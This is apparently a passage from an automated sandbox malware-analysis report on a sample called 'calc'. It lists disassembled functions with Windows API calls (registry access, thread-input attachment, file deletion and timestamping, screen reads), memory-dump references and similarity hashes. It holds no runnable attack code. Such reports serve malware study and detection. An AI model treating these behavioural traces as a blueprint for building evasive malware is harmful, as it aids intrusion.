      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: BuffCharDriveLowerType
      • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown$z
      • API String ID: 2426244813-3835205858
      • Opcode ID: 8a4ab123c8cba6d9525edc1d6ce77014fad253863c0f01a28e7912fb11828709
      • Instruction ID: c943f114b9cfa34bc6d13cecd34174d1ce99e7829156bc061d10869983b5239c
      • Opcode Fuzzy Hash: 8a4ab123c8cba6d9525edc1d6ce77014fad253863c0f01a28e7912fb11828709
      • Instruction Fuzzy Hash: DA61E332E40225AACF20AF51EC426EEB771EF40715F51415FE91177192CB7C9E8A9A8C
      Function 00430474 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 108registryCOMMON
      Download Yara Rule
      APIs
      • RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 004304B7
      • RegEnumKeyExW.ADVAPI32(?,00000000,?,00000028,00000000,00000000,00000000,?), ref: 004304DE
      • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?,00000000,?,interface\), ref: 00430524
      • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,000001FE), ref: 0043053D
      • IIDFromString.COMBASE(00000000,00000000), ref: 00430572
      • RegCloseKey.ADVAPI32(?), ref: 0043057E
      • RegCloseKey.ADVAPI32(?), ref: 0043059C
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CloseOpen$EnumFromQueryStringValue
      • String ID: ($interface$interface\
      • API String ID: 297354694-3327702407
      • Opcode ID: ece2d1dff503f8bd69a3f8af120fc2c2525d4bfacb4d65e8794cc370887e5a92
      • Instruction ID: 465c8dba0b75a2b588b9d9a645616a4f636eb8d9ae8370a13ef1e90354eccf22
      • Opcode Fuzzy Hash: ece2d1dff503f8bd69a3f8af120fc2c2525d4bfacb4d65e8794cc370887e5a92
      • Instruction Fuzzy Hash: DA412B7290021DFFEF10DBA0CC44AEEB7BCEB08315F20456AE910E2190D7399E449F28
      Function 0040D7FC Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 80windowCOMMON
      Download Yara Rule
      APIs
      • GetFocus.USER32 ref: 0040D81B
      • IsChild.USER32(?,00000000), ref: 0040D82A
      • SendMessageW.USER32(?,00000087,00000000,00000000), ref: 0040D845
      • SendMessageW.USER32(?,00000087,00000000,00000000), ref: 0040D850
      • SendMessageW.USER32(?,000000B1,00000001,0000FFFF), ref: 0040D86B
      • SendMessageW.USER32(?,000000B1,00000000,FFFF0000), ref: 0040D883
      • GetDlgCtrlID.USER32(?), ref: 0040D892
      • GetDlgCtrlID.USER32(?), ref: 0040D8A4
      • SetFocus.USER32(?,00000008,00000000), ref: 0040D8C1
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$CtrlFocus$Child
      • String ID: 0
      • API String ID: 155916262-4108050209
      • Opcode ID: d990ddb02262e76da551cf043bd84009251360777e327b3fa7c4ebf42c808ac8
      • Instruction ID: f2e533566926b18452da6f46fbe18385ad865f3593145e1545aacff08ac70125
      • Opcode Fuzzy Hash: d990ddb02262e76da551cf043bd84009251360777e327b3fa7c4ebf42c808ac8
      • Instruction Fuzzy Hash: D5215C72D00248FFDB12AFA48C44AAE7FB8EB45344F14807AF814B3291D3389D199B64
      Function 00456097 Relevance: 16.8, APIs: 11, Instructions: 309COMMON
      Download Yara Rule
      APIs
      • LCMapStringW.KERNEL32(00000000,00000100,00462758,00000001,00000000,00000000,0045C448,0000003C,00456CFA,?,00000100,00000000,00000001,?,00000003,?), ref: 004560BE
      • GetLastError.KERNEL32(?,?,00456071,?,00000000,00000000,?,00000000,?,?,0040EF80,?,00000000,00000001,?,00000000), ref: 004560D0
      • MultiByteToWideChar.KERNEL32(?,00000000,00000001,00000000,00000000,00000000,0045C448,0000003C,00456CFA,?,00000100,00000000,00000001,?,00000003,?), ref: 00456157
      • MultiByteToWideChar.KERNEL32(?,00000001,00000001,00000000,0040EF80,00000000,?,?,00456071,?,00000000,00000000,?,00000000), ref: 004561D8
      • LCMapStringW.KERNEL32(00000000,?,0040EF80,00000000,00000000,00000000,?,?,00456071,?,00000000,00000000,?,00000000), ref: 004561F2
      • LCMapStringW.KERNEL32(00000000,?,0040EF80,00000000,?,0040EF80,?,?,00456071,?,00000000,00000000,?,00000000), ref: 0045622D
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: String$ByteCharMultiWide$ErrorLast
      • String ID:
      • API String ID: 1775797328-0
      • Opcode ID: 873bb5e03c0175e596a4322a9bcbafd0df59306d79c68c6151f33ca9b8810949
      • Instruction ID: b2d8dc44d8ca8eb0f0711e217ba9cf18ae384d9cb4d0d13082bcb19e82ea283e
      • Opcode Fuzzy Hash: 873bb5e03c0175e596a4322a9bcbafd0df59306d79c68c6151f33ca9b8810949
      • Instruction Fuzzy Hash: 84B1AA7280021AEFDF119FA0CC858EF7BB5FB0831AF55422AF915A3262D3398D55DB58
      Function 00453588 Relevance: 16.6, APIs: 11, Instructions: 150COMMON
      Download Yara Rule
      APIs
      • GetEnvironmentStringsW.KERNEL32(76230A60,00000000,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 004535A3
      • GetLastError.KERNEL32(?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 004535B7
      • GetEnvironmentStringsW.KERNEL32(76230A60,00000000,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 004535DA
      • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00453614
      • GetEnvironmentStrings.KERNEL32(76230A60,00000000,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 00453637
      • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,000000FF,00000000,00000000,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 00453652
      • _strlen.LIBCMT ref: 0045365F
      • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,000000FF,00000000,?,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 004536A3
      • _strlen.LIBCMT ref: 004536AE
      • FreeEnvironmentStringsA.KERNEL32(00000000,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 004536CB
      • FreeEnvironmentStringsA.KERNEL32(00000000,?,?,?,?,0044BFAC,?,0045B1B8,00000060), ref: 004536E7
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: EnvironmentStrings$Free$ByteCharMultiWide_strlen$ErrorLast
      • String ID:
      • API String ID: 871561937-0
      • Opcode ID: 49af6f82f6553a7625c6b44310be979f009b46345ae01e747116c403cbef916f
      • Instruction ID: 189182811b8b7028e3f3fa76c12f55b7742606a7d7476da671c1c8c24d5278b9
      • Opcode Fuzzy Hash: 49af6f82f6553a7625c6b44310be979f009b46345ae01e747116c403cbef916f
      • Instruction Fuzzy Hash: 63411572508255BFD7306F249C8886B7798EB4439B724192FFC46C3243FB299E48D25D
      Function 00442E86 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 236fileCOMMON
      Download Yara Rule
      APIs
        • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0045C6D0,?,?,?,00442C32,00000000,0045C6D0), ref: 004168CE
        • Part of subcall function 004168A2: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00442C32,00000000,0045C6D0), ref: 004168F0
      • _strcat.LIBCMT ref: 00442EB7
      • _strcat.LIBCMT ref: 00442EC4
      • DeleteFileA.KERNEL32(?), ref: 00443140
        • Part of subcall function 0044341F: CreateFileA.KERNEL32(00000003,40000000,00000001,00000000,00000003,00000080,00000000,00000000,0044315A,?,?,?), ref: 00443436
        • Part of subcall function 0044341F: SetFileTime.KERNEL32(00000000,?,00000000,?), ref: 0044344E
        • Part of subcall function 0044341F: CloseHandle.KERNEL32(00000000), ref: 00443455
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: File$ByteCharMultiWide_strcat$CloseCreateDeleteHandleTime
      • String ID: {QB
      • API String ID: 896891539-2627146250
      • Opcode ID: 6826efe30987594fd26c18010b1386a6d7d18b79fb1223cd70e0a5c5c14c2d66
      • Instruction ID: 10c7d94db973383b35a21a2cb43c7254eeebb8db6f0dbf89339a4b2e7f1b655e
      • Opcode Fuzzy Hash: 6826efe30987594fd26c18010b1386a6d7d18b79fb1223cd70e0a5c5c14c2d66
      • Instruction Fuzzy Hash: 4D815F72810118AAEF21EFA1CC45FDEB7BCAF44715F00459AF604E6141E778AB94CB6A
      Function 00417510 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 84COMMON
      Download Yara Rule
      APIs
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: InitVariant
      • String ID: vA
      • API String ID: 1927566239-2626632682
      • Opcode ID: 2b8e8d1de6cab0282e133a8643d30c6927eb614832e0a50d65b6f873aa70965a
      • Instruction ID: 5b2c6dfc33667c660dbbcac74fe3b7b2d15e924b2877dc2a32538863b1b3df48
      • Opcode Fuzzy Hash: 2b8e8d1de6cab0282e133a8643d30c6927eb614832e0a50d65b6f873aa70965a
      • Instruction Fuzzy Hash: 1531FCB290065ABFCB00DFB5DC84986BBADFF08304744852BE919C3A01D734E6A4CFA5
      Function 00402257 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 83windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,0000018C,00000001,00000002), ref: 004022E9
      • GetDlgCtrlID.USER32(00000000), ref: 004022FA
      • GetParent.USER32 ref: 0040230C
      • SendMessageW.USER32(00000000,?,00000111,?), ref: 00402313
      • GetDlgCtrlID.USER32(00000000), ref: 00402319
      • GetParent.USER32 ref: 0040232F
      • SendMessageW.USER32(00000000,?,00000111,?), ref: 00402336
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$CtrlParent
      • String ID: ComboBox$ListBox
      • API String ID: 1383977212-1403004172
      • Opcode ID: f55888848f7bcba7b3474df748bed1eb155f8da7799cdcffac09153758cf926d
      • Instruction ID: 21d4efe765151b58f1e8dd2b8bd2338c310614b799d46b9de95d0ec11e15162d
      • Opcode Fuzzy Hash: f55888848f7bcba7b3474df748bed1eb155f8da7799cdcffac09153758cf926d
      • Instruction Fuzzy Hash: 8521D871904318BBDF119BB5CC49BBE7BA8DF05311F1000AAF501BB1E2C6BD9D459B69
      Function 0040205D Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON
      Download Yara Rule
      APIs
      • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 004020ED
      • GetDlgCtrlID.USER32(00000000), ref: 004020FE
      • GetParent.USER32 ref: 00402110
      • SendMessageW.USER32(00000000,?,00000111,?), ref: 00402117
      • GetDlgCtrlID.USER32(00000000), ref: 0040211D
      • GetParent.USER32 ref: 00402133
      • SendMessageW.USER32(00000000,?,00000111,?), ref: 0040213A
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$CtrlParent
      • String ID: ComboBox$ListBox
      • API String ID: 1383977212-1403004172
      • Opcode ID: 3983e01f07cdc23e322d383c5d11142c0d4e7b734c74ec4230ae8d4061f8d687
      • Instruction ID: 1ae3639546ccadbcf58f9fd73665429625f42c9a5e242655649765a7bb30241d
      • Opcode Fuzzy Hash: 3983e01f07cdc23e322d383c5d11142c0d4e7b734c74ec4230ae8d4061f8d687
      • Instruction Fuzzy Hash: 7121F871900318BBDF11AB69CC49BBE7BA8DF05311F1000A6F601BB1E2C6BD9D49DB69
      Function 0043B8ED Relevance: 15.3, APIs: 10, Instructions: 297registryCOMMON
      Download Yara Rule
      APIs
      • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0043B992
      • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,?,?,?,HKCR\), ref: 0043B9BC
      • RegCloseKey.ADVAPI32(?,?,?,?,?,?,HKCR\), ref: 0043B9CE
      • RegQueryValueExW.ADVAPI32(?,00000000,00000000,?,00000000,00000000,?,?,?,?,?,HKCR\), ref: 0043BA0C
      • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,0001FFFE,00000000,?,?,?,?,?), ref: 0043BA8A
      • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,?,?,?,?,?,HKCR\), ref: 0043BB16
      • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,0000FFFF,00000000,?,?,?,?,?), ref: 0043BB70
      • RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,0001FFFE,00000000,?,?,?,?,?), ref: 0043BBE6
      • RegCloseKey.ADVAPI32(?,00000000,00000000,?,?,?,?,?,HKCR\), ref: 0043BC25
      • RegCloseKey.ADVAPI32(?), ref: 0043BC30
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: QueryValue$Close$ConnectOpenRegistry
      • String ID:
      • API String ID: 1162896230-0
      • Opcode ID: 0a542f6942da37330aad247183a938a9115cce9e06ddae1f36175f9a5f351c56
      • Instruction ID: 50d668c21b230dfb2cab80434d9b6aad851b21af5472c1ebae7558954520c36c
      • Opcode Fuzzy Hash: 0a542f6942da37330aad247183a938a9115cce9e06ddae1f36175f9a5f351c56
      • Instruction Fuzzy Hash: 15B17471900119EBDF20EF95DC81BEEB7B8EF08314F14505BEA05A7251DB38AE45DB98
      Function 00406DD9 Relevance: 15.2, APIs: 10, Instructions: 152COMMON
      Download Yara Rule
      APIs
      • GetClientRect.USER32(?,00000000), ref: 00406E3D
      • GetWindowRect.USER32(?,00000000), ref: 00406E73
      • ShowWindow.USER32(?,00000006,00000000,?,00000000), ref: 00406EDB
      • ShowWindow.USER32(?,00000000,00000000,?,00000000), ref: 00406EE5
      • ShowWindow.USER32(?,?,00000000,?,00000000), ref: 00406F01
      • LockWindowUpdate.USER32(00000000,00000000,?,00000000), ref: 00406F38
      • InvalidateRect.USER32(?,00000000,00000001), ref: 00406F43
      • LockWindowUpdate.USER32(?,00000000,?,00000000), ref: 00406F50
      • EnableWindow.USER32(?,00000001), ref: 00406F5E
      • ShowWindow.USER32(?,?,00000000,?,00000000), ref: 00406F6D
        • Part of subcall function 0040B6AE: ShowWindow.USER32(00000003,00000000), ref: 0040B705
        • Part of subcall function 0040B6AE: EnableWindow.USER32(00000000,00000000), ref: 0040B719
        • Part of subcall function 0040B6AE: ShowWindow.USER32(00000003,00000000), ref: 0040B766
        • Part of subcall function 0040B6AE: ShowWindow.USER32(00000000,00000004), ref: 0040B76E
        • Part of subcall function 0040B6AE: EnableWindow.USER32(00000000,00000001), ref: 0040B782
        • Part of subcall function 0040B6AE: SendMessageW.USER32(?,0000130C,?,00000000), ref: 0040B7A6
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Window$Show$EnableRect$LockUpdate$ClientInvalidateMessageSend
      • String ID:
      • API String ID: 3346090438-0
      • Opcode ID: 33eebad1770066d7da53f507c13526217a4cc38fd14724ef0744f22b750f0efe
      • Instruction ID: 00179a3cef90f437505424dea41472531886ad940d9ced4b58695a5b59db2541
      • Opcode Fuzzy Hash: 33eebad1770066d7da53f507c13526217a4cc38fd14724ef0744f22b750f0efe
      • Instruction Fuzzy Hash: 1251C135604385EFCB31CF68D98856BBBA5AF00311B16083FE587E3691D639E864C79D
      Function 00410C44 Relevance: 15.1, APIs: 10, Instructions: 85threadCOMMON
      Download Yara Rule
      APIs
      • GetCurrentThreadId.KERNEL32 ref: 00410C65
      • GetForegroundWindow.USER32(00000000), ref: 00410C75
      • GetWindowThreadProcessId.USER32(00000000), ref: 00410C82
      • AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00410C93
      • GetWindowThreadProcessId.USER32(?,?), ref: 00410CA3
      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?), ref: 00410CB8
      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?), ref: 00410CC7
      • AttachThreadInput.USER32(00000000,00000000), ref: 00410CFF
      • AttachThreadInput.USER32(00000000,00000000,00000000), ref: 00410D13
      • AttachThreadInput.USER32(00000000,00000000), ref: 00410D1D
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Thread$AttachInput$Window$Process$CurrentForeground
      • String ID:
      • API String ID: 2156557900-0
      • Opcode ID: 84dc89106fe828588eff58668885925fa9e7e82d517fbaf7a7cf41849782f584
      • Instruction ID: 273981aa6d5314c39ed11dbc8b11d4783a6718a70bb47b2180bf8327ec5c3e70
      • Opcode Fuzzy Hash: 84dc89106fe828588eff58668885925fa9e7e82d517fbaf7a7cf41849782f584
      • Instruction Fuzzy Hash: FE218071504305AFDB24DF66DC44A6BBBEDEB84341F14496FF10582251EBB9A8C0CF69
      Function 0042B2C3 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 382COMMON
      Download Yara Rule
      APIs
      • 73E9A570.USER32(00000000), ref: 0042B4A8
      • SelectObject.GDI32(?,00000000), ref: 0042B530
      • SelectObject.GDI32(?,?), ref: 0042B558
      • GetDIBits.GDI32(?,?,00000000,?,00000000,00000028,00000000), ref: 0042B581
      • DeleteObject.GDI32(?), ref: 0042B595
      • DeleteDC.GDI32(?), ref: 0042B59E
      • GetPixel.GDI32(00000007,?,?), ref: 0042B646
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
